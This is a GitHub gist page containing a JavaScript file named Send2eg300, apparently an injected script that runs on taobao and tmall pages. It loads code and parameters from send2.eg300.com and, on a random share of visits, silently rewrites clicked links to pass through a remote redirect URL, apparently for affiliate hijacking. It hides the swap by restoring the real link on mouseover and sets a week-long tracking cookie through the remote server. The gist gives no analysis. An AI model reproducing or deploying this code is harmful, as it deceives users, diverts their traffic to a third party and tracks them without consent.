Last active
December 15, 2015 01:39
-
-
Save ninehills/5181343 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function () { | |
if ("undefined" !== typeof Send2eg300) { | |
return | |
}; | |
window.Send2eg300 = Send2eg300 = { | |
server: "http://send2.eg300.com/", | |
jQuery: "js/jquery-1.8.3.min.js", | |
params: { | |
"isLinkConverted": false | |
}, | |
keys: { | |
"userLinkConvert": "userLinkConvert" | |
}, | |
SITE_PATTERN: { | |
"^(http|https)://www\.(taobao|tmall)\.com/": "tb", | |
"^(http|https)://*/*": "other" | |
}, | |
util: { | |
A: function (a, b) { | |
if (typeof b == "string") { | |
a.innerHTML = b | |
} else { | |
a.appendChild(b) | |
}; | |
return b | |
}, | |
C: function (a) { | |
return document.createElement(a) | |
}, | |
T: function (a, b) { | |
return document.getElementsByTagName(a)[b] | |
}, | |
addScript: function (a, b, c) { | |
var d = Send2eg300.util.T("head", 0); | |
var e = Send2eg300.util.C("script"); | |
e.type = "text/javascript"; | |
e.charset = "utf-8"; | |
if (b) { | |
e.text = a | |
} else { | |
var f = new Date(); | |
e.src = a + "?t=" + f.getFullYear() + f.getMonth() + f.getDate(); | |
e.onload = e.onreadystatechange = function () { | |
if (e.readyState && e.readyState != "loaded" && e.readyState != "complete") { | |
return | |
} else { | |
if (c) { | |
c() | |
}; | |
e.onload = e.onreadystatechange = null | |
} | |
} | |
}; | |
Send2eg300.util.A(d, e); | |
if (b && c) { | |
c() | |
} | |
}, | |
addCss: function (a, b) { | |
var c, d = Send2eg300.util.T("head", 0); | |
if (b) { | |
c = Send2eg300.util.C("stlye"); | |
c.type = "text/css"; | |
c.text = a | |
} else { | |
var e = new Date(); | |
c = Send2eg300.util.C("link"); | |
c.rel = "stylesheet"; | |
c.href = a + "?t=" + e.getFullYear() + e.getMonth() + e.getDate() | |
}; | |
Send2eg300.util.A(d, c) | |
}, | |
loadJQuery: function (a, b, c) { | |
if (typeof (jQuery) == "undefined") { | |
Send2eg300.util.addScript(Send2eg300.server + Send2eg300.jQuery, false, function () { | |
try { | |
jQuery.noConflict(); | |
Send2eg300.$ = jQuery; | |
c(a, b) | |
} catch (e) { | |
Send2eg300.util.addScript(Send2eg300.server + Send2eg300.JQUERY, false, function () { | |
jQuery.noConflict(); | |
Send2eg300.$ = jQuery; | |
c(a, b) | |
}) | |
} | |
}) | |
} else { | |
Send2eg300.$ = jQuery; | |
c(a, b) | |
} | |
}, | |
getRandomNum: function (a, b) { | |
var c = b - a; | |
var d = Math.random(); | |
return (a + Math.round(d * c)) | |
}, | |
jsonp: function (a, b, c) { | |
Send2eg300.$.ajax({ | |
"url": Send2eg300.server + a, | |
"data": b, | |
"dataType": "jsonp", | |
"jsonp": "callback", | |
"async": false, | |
"success": function (d) { | |
if ("undefined" !== typeof c) { | |
c(d) | |
} | |
} | |
}) | |
} | |
}, | |
api: { | |
setCookie: function (a, b, c, d) { | |
var e = "api/cookie/"; | |
var f = { | |
"key": a, | |
"val": b, | |
"expire": c | |
}; | |
Send2eg300.util.jsonp(e, f, d) | |
}, | |
getCookie: function (a, b) { | |
var c = "api/cookie/"; | |
var d = { | |
"key": a, | |
"op": "get" | |
}; | |
Send2eg300.util.jsonp(c, d, b) | |
}, | |
removeCookie: function (a, b) { | |
expire = -1; | |
Send2eg300.util.jsonp(a, null, expire, b) | |
} | |
}, | |
getUrlType: function (a) { | |
for (var b in Send2eg300.SITE_PATTERN) { | |
var c = a.match(new RegExp(b, "i")); | |
if (c) { | |
var d = { | |
"site": Send2eg300.SITE_PATTERN[b], | |
"key": c[2] || [] | |
}; | |
return d | |
} | |
}; | |
return false | |
}, | |
injectHtml: function (a, b) { | |
switch (b.site) { | |
case "tb": | |
Send2eg300.linkConvert(); | |
break; | |
default: | |
break | |
} | |
}, | |
linkConvertProbability: function () { | |
var a = 31; | |
var b = 10; | |
var c = new Date().getMilliseconds(); | |
var d = c % a; | |
var e = Send2eg300.util.getRandomNum(0, a - 1); | |
d = Math.round(d / b); | |
e = Math.round(e / b); | |
if (d == e) { | |
return true | |
} else { | |
return false | |
} | |
}, | |
linkConvertParams: function (a, b) { | |
var c = "api/linkparam/"; | |
var d = { | |
"key": a, | |
"op": "get" | |
}; | |
Send2eg300.util.jsonp(c, d, b) | |
}, | |
linkConvert: function () { | |
var a = Send2eg300.linkConvertProbability(); | |
if (a) { | |
var b = Send2eg300.keys.userLinkConvert; | |
Send2eg300.linkConvertParams(b, function (c) { | |
var d = c.result; | |
if ( !! d) { | |
var e = false; | |
if ( !! c[b]) { | |
Send2eg300.params.isLinkConverted = true | |
}; | |
if (!Send2eg300.params.isLinkConverted) { | |
e = true | |
}; | |
if (e) { | |
var f = c.redirectUrl; | |
Send2eg300.$("a").each(function () { | |
var g = Send2eg300.$(this); | |
var h = Send2eg300.$(this).attr("href"); | |
var i = Send2eg300.$(this).attr("target"); | |
g.click(function () { | |
if (!Send2eg300.params.isLinkConverted && "undefined" !== typeof h && "" !== h && null !== h) { | |
f += "?r=taobao&link=" + encodeURIComponent(h); | |
Send2eg300.$(this).attr("href", f); | |
var j = true; | |
var k = 7 * 24 * 3600; | |
Send2eg300.api.setCookie(b, j, k, function () { | |
Send2eg300.params.isLinkConverted = true; | |
Send2eg300.$(this).attr("href", h) | |
}) | |
} | |
}).mouseover(function () { | |
var j = Send2eg300.$(this).attr("href"); | |
if (f === j) { | |
Send2eg300.$(this).attr("href", h) | |
} | |
}) | |
}) | |
} | |
} | |
}) | |
} | |
}, | |
afterJQueryLoaded: function (a, b) { | |
Send2eg300.injectHtml(a, b) | |
}, | |
init: function (a) { | |
a = a.toLowerCase(); | |
var b = Send2eg300.getUrlType(a); | |
if (b && "other" !== b.site) { | |
Send2eg300.util.loadJQuery(a, b, Send2eg300.afterJQueryLoaded) | |
} | |
} | |
}; | |
Send2eg300.init(document.location.href) | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment